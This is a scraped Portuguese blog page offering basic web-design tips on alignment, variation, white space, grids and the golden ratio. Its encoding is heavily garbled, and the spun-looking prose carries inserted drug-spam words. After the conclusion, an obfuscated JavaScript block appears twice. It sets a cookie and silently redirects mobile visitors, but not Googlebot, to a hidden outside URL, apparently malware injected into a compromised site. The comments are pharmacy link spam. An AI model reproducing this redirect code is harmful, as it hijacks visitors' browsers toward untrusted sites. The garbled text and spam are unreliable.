Plano Esperto – Diretrizes BA?sicas de Design para este seu site

Quando falamos do design inteligente, nA?o estamos falando sobre a criaAi??A?o do homem. NA?o, isso Ai?? ainda mais importante! A criaAi??A?o por seus suplementos alimentares de mAi??dia e sitio.

HA? vA?rias coisas bA?sicas sobre design que podem possibilitar ser aprendidas e de que podem aumentar a qualidade muito a capacidade por criar criaAi??Ai??es atraentes e inteligentes. Algumas dessas coisas sA?o:

1. Alinhando as coisas

2. Usando VariaAi??A?o

3. Dando Sala por RespiraAi??A?o

4. Usando a grade

5. A DivisA?o A?urea

seis. Alinhando as coisas

As coisas de que se alinham parecem agradA?veis. As causas que estA?o por a 100% o lado nA?o aparentam boas. Foi claro que Ai?? necessA?rio conhecer regras para perceber quais quebrar, entA?o essas regras sA?o apenas diretrizes. Em geral, linhas retas ou suaves sA?o atraentes. Linhas irregulares e inconsistentes sA?o menos propensas a serem atraentes. Um design com muitos elementos alinhados e quaisquer elementos que nA?o criam um porreiro contraste, porAi??m comeAi??ar com coisas de que se alinham Ai?? uma boa norma fA?cil para iniciantes.

Para suportar estas declaraAi??Ai??es, vamos dar uma olhada nos exemplos de objetos fabricados pelo jovem macho. Estradas, mesas, paredes, edifAi??cios, recipientes de suco do laranja. As formas por todos esses objetos sA?o retas ou consistentes e qualquer desvio dessa norma Ai?? considerado levemente repulsivo. Nas estradas, o assunto Ai?? vital para a saA?de. Existe uma fusA?o sob construAi??A?o a partir do leste 60 (Ai?? assim que identificamos estradas aqui na CalifA?rnia) para este sul 215, onde este turno comeAi??a em uma circunstA?ncia de tamanho, em seguida, abruptamente vira alguns graus ainda mais apertado para outra circunstA?ncia de tamanho. Esta ligeira alteraAi??A?o na curvatura faz com que o motorista tenha que se ajustar para essa mudanAi??a usando um leve e aparentemente inesperado giro da roda. Eu digo aparentemente porque as barreiras rodoviA?rias impedem um motorista de ver toda a virada indo para ele e hA? um monte de marcas de pneus gravadas na barreira da construAi??A?o bem pelo ponto da mudanAi??a do curvatura.

Vamos olhar para as mesas. Obviamente, mesas retas e uniformes sA?o boas para escrever, encaixam bem em paredes retas e ficam bem, pelo menos para mim. EdifAi??cios, como mesas, sA?o formas convenientes para eficiA?ncia do espaAi??o, desenho de mapas, criaAi??A?o de estradas, mobAi??lia e modularidade de salas. Ai?? claro que estes prAi??dios curvos tambAi??m sA?o belos, contudo as curvas geralmente sA?o muito uniformes e, na maioria de vezes, a curva Ai?? especialmente acompanhada por uma linha reta em outra dimensA?o.

Ok, suco de laranja – demasiado bom para enviar pequenas caixas quadradas. RetA?ngulos compridos criam uma boa tela para este marketing. Se as linhas retas nA?o forem retas, mas amassadas ou amassadas, Ai?? provA?vel que vocA? nA?o compre a embalagem.

Todos estes sA?o objetos feitos pelo homem que se beneficiam na usabilidade de linhas retas ou uniformemente curvas. Vamos lanAi??ar uma olhada na natureza. As A?rvores sA?o simplesmente linhas retas. Os troncos de uma floresta de pau-brasil vA?o todos em uma direAi??A?o com notA?vel consistA?ncia. (A propA?sito, a propA?sito, a menos de que vocA? esteja no lado oposto da Terra, nesse caso, seria para inferior. ) Novamente, isso Ai?? especialmente a usabilidade para a A?rvore – uma rivalidade em profundeza para chegar ao sol. Folhas – veias retas para fora para as pontas – mesma idAi??ia, pegue 1 pouco (luz). Curvatura da terra – mais suave periactin pills. do que a curvatura de uma bola 8. Um serviAi??o a olhar com a gravidade que, para a existA?ncia tais como a conhecemos, Ai?? deveras A?til.

OK, OK, contudo como isso se aplica ao meu inteligente ___________ (preencha o espaAi??o em branco – web sitio, anA?ncio, design de embalagem, carro elAi??trico solar, cabelo)?

Para seus projetos, alinhe suas causas em linhas retas. Alinhe as imagens de modo que as bordas da imagem fiquem alinhadas usando as bordas e linhas da imagem, texto usando texto e outros elementos alinhados com outros elementos. Este Ai?? especialmente um princAi??pio de design fundamental, ainda assim, alguns sitios estA?o em todo o lugar usando todas as imagens e seAi??Ai??es do texto de todas as maneiras.

Usando VariaAi??A?o

Causas que se alinham e nA?o tA?m variaAi??A?o sA?o chatas. Como exemplo, estradas longas e retas sem curvas sA?o muito entediantes. Estes 58 ziguezagues atravessam o A?rido deserto do sul da CalifA?rnia, entre montanhas, a cada poucos quilA?metros por vez. O 5 vai em uma linha reta por milha depois milha depois horas depois horas. Qual vocA? prefere dirigir?

Da mesma maneira, com sites da Web, se tudo estiver alinhado na mesma linha, a pA?gina provavelmente parecerA? muito chata. O visitante pode alterA?-lo com:

1. Negrito TAi??tulos www.sanicontrol.com

2. Listas de produtos

3. Post recuado

Todas essas causas quebram a monotonia das linhas retas e podem adicionar ritmo a um design. No entanto, se houver muita ruptura das linhas, o design pode tornar-se um ruAi??do que parece difAi??cil de ler. Ai?? especialmente difAi??cil de ler. Ei, sem dA?vida – algumas pessoas estA?o nisso.

Dando elementos do design Sala para respirar

Mesmo as coisas que se alinham geralmente nA?o parecem boas se nA?o conseguem respirar. Colocar este texto junto Ai?? borda de outro elemento possui uma sensaAi??A?o claustrofA?bica. Alguns sites contA?m tantas informaAi??Ai??es em uma pA?gina de que nA?o existe margens nunca espaAi??o para respirar entre os elementos. Este resultado estA? no desconforto e na ilegibilidade. DA? suas imagens e margens de artigo, quadros ou espaAi??o para respirar.

Use a grade, Luke

Para ajudA?-lo a alinhar as coisas, use papel milimetrado, a grade do Adobe Photoshop ou desenhe uma grade medida vocA? exatamente. No design final, essa grade geralmente Ai?? removida, mas usada no layout para garantir que as coisas fiquem bem alinhadas. Designers experientes costumam usar intuitivamente uma grade nenhumas ter uma grade fAi??sica no design.

A divisA?o A?urea

Existem uma coisa chamada seAi??A?o A?urea, a proporAi??A?o A?urea ou a proporAi??A?o divina. Se vocA? realmente tem que matemA?tica, tA?m a possibilidade de fazer uma pesquisa para aprender muito mais. Para aqueles de nA?s que lipitor. nA?o gostam do matemA?tica, a SeAi??A?o A?urea Ai?? um pouco mais de 1 terAi??o. Se vocA? tirar uma foto , ela parecerA? muito linda se o visitante mostrar 1 pouco muito mais de 2 terAi??os do cAi??u. O mesmo se aplica a muitas formas de composiAi??A?o. Esta divisA?o de ouro tem algum gAi??nero de relaAi??A?o com a geometria bA?sica de que parece ressoar com o senso do beleza de um humano.

ConclusA?o

Ao projetar causas, lembre-se: Alinhe as causas, mas nA?o seja chato. Use grades para alinhar as coisas. A divisA?o de ouro parece legal. Paz.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

39 Comments

  1. That is really attention-grabbing, You’re an overly
    skilled blogger. I’ve joined your feed and sit up for in search of extra of your great post.
    Additionally, I have shared your site in my social networks http://antiibioticsland.com/Cipro.htm

  2. Remarkable things here. I’m very glad to look your article.
    Thanks a lot and I’m taking a look ahead to contact you. Will you kindly drop me a e-mail? https://cialis.buszcentrum.com/tadalafil

  3. Hey! I could have sworn I’ve been to this site before but after reading through some of the post
    I realized it’s new to me. Anyhow, I’m definitely
    happy I found it and I’ll be bookmarking and checking back frequently! https://hydroxychloroquineg.grassfed.us/

  4. Excellent article. I’m facing some of these issues as well.. https://hydroxychloroquinej.jueriy.com/

Leave a Reply